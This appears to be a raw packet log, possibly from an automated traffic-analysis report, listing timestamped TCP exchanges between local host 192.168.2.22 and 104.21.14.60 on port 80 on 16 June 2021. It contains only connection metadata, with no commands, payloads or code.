Jun 16, 2021 12:05:15.564809084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564819098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.564825058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564842939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564858913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.564884901 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.565696001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565721989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565746069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565762043 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565778971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565795898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565809011 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.565812111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.565834999 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.566579103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566600084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566627026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566646099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566662073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566678047 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566678047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.566690922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.566693068 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.567506075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.567588091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.567609072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.567631006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.567650080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.567666054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.567675114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.567682981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.567702055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569875956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569900990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569912910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569926977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569928885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.569943905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569964886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569983006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.569991112 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.570096970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570115089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570132971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570148945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570157051 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.570164919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570183039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570199966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570219994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570236921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570240974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.570255041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570274115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570290089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570306063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.570313931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.570323944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571029902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571068048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571088076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571105003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571104050 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.571156025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571172953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571186066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571212053 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.571365118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.571940899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.571996927 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572019100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572036982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572052956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572068930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572089911 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.572700024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572751999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572771072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572788954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572808027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572824001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.572825909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572839975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.572844982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.572864056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.573632002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.573657990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.573674917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.573694944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.573713064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.573718071 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.573729992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.573748112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574537039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574562073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574573040 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.574580908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574599981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574618101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574634075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.574636936 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.574651003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575469017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575490952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575511932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575529099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575540066 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.575546980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575563908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575582027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.575625896 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.575975895 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.576344013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.576363087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.576381922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.576400042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.576411963 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.576417923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.576431036 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.576436996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.576453924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577013969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.577030897 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.577205896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577224970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577263117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577285051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577301979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577307940 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.577318907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.577337980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578140020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578161001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578178883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578195095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578202009 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.578212976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578217983 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.578229904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.578249931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.598891020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.598927021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.598948002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.598969936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.598985910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599001884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599019051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599035025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599140882 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.599178076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.599232912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599298954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599323988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599349976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599370956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599386930 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.599394083 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599410057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599426985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.599497080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.600214005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600235939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600261927 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600285053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600306034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600322962 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.600327015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600351095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600373030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.600423098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.601098061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601119995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601142883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601164103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601165056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.601262093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601285934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601306915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601327896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.601367950 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.602088928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602112055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602116108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.602133036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602154970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602175951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602183104 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.602196932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602217913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602238894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602870941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602891922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602900028 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.602920055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602942944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602963924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.602981091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.602987051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603008986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603029966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603787899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603810072 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.603812933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603837013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603858948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603879929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603898048 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.603899956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603923082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.603944063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.604363918 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.604701996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.604728937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.604752064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.604773045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.604790926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.604814053 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.633044958 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.635178089 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:17.318262100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:17.360675097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.681958914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682003021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682029963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682060003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682090044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682118893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682140112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:17.682275057 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:17.682735920 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126029015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126066923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126090050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126110077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126128912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126152039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126177073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126176119 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126202106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126225948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126249075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126271009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126275063 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126296997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126312971 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126388073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126411915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126436949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126447916 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126452923 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126465082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126487970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126492023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126511097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126533031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126560926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126584053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126595974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126601934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126624107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126647949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.126656055 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.126945019 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.127377987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127403021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127424955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127446890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127466917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127473116 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.127489090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127509117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127531052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.127531052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127553940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127576113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127594948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127599001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.127615929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.127619982 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.127645016 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.128258944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128285885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128293991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.128309011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128309965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.128329992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128350973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128371954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128372908 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.128391981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128412008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128432035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128433943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.128454924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128478050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.128493071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129224062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129247904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129262924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.129267931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129293919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129314899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129314899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.129337072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129358053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129379034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129380941 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.129400015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129421949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129441023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129443884 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.129465103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.129487991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.129739046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.130156994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130182981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130193949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.130203962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130225897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130244970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130248070 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.130264997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130285025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130304098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130326033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130347013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130347967 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.130367994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130388975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.130409956 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.131088972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131128073 CEST	80	49168	104.21.14.60	192.168.2.22
